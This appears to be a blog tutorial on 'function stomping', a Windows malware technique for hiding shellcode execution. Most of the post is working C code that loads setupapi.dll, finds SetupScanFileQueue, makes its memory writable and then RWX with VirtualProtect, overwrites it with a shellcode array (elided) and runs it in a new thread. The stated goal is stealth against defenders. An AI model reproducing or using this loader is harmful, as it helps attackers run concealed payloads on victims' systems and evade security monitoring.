Hijack.. Stomping the Local Function

I am showing an alternative approach to embedding your payload. In this method, the focus will be on stealth as we override a legitimate function to execute our payload.

The fundamental concept is quite simple: you must load a valid DLL that includes the necessary function. Upon loading the DLL, you search for the specific function you intend to modify. Modifying the function involves utilizing the function’s pointer to redirect it to your custom payload.

BOOL WriteMyPayload(PVOID pAddress, PBYTE pPayload, SIZE_T sPayloadSize) {

	DWORD	dwOldProtection		= NULL;

	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
		printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	memcpy(pAddress, pPayload, sPayloadSize);

	if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

The code above is the function to allow you to write your payload into the memory range that has been prepared. It first changes the memory protection to readwrite to make sure the allocated space is writteable. At the end it changes the memory space protection to RWX means allowing the code in that memory to be executed

But.. where is the stomping ? Let me explain below. Now lets get the pointer to the legitimate function that we want to overwrite.

#define		SACRIFICIAL_DLL			"setupapi.dll"
#define		SACRIFICIAL_FUNC		"SetupScanFileQueue"

unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4...
};

int main() {

	PVOID		pAddress	= NULL;
	HMODULE		hModule		= NULL;
	HANDLE		hThread		= NULL;

	hModule = LoadLibraryA(SACRIFICIAL_DLL);

	pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);

	if (!WriteMyPayload(pAddress, Payload, sizeof(Payload))) {
		return -1;
	}

	hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
	if (hThread != NULL)
		WaitForSingleObject(hThread, INFINITE);

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

We load our DLL, which contains the function we want to overwrite. We call it SACRIFICE_DLL. After loading the DLL into the application using the LoadLibrary function, the next step is to get the pointer to the function we want to overwrite using GetProcAddress.

Just a heads up, make sure to pick the right function. You’ll have to give up the function that your app isn’t using for legit activities, ’cause if you overwrite it, it’ll lose its original functionality.

So, when you’ve got the function’s pointer address, you just need to pass it to the WriteMyPayload function and it’ll handle the stomping for you.

Leave a Reply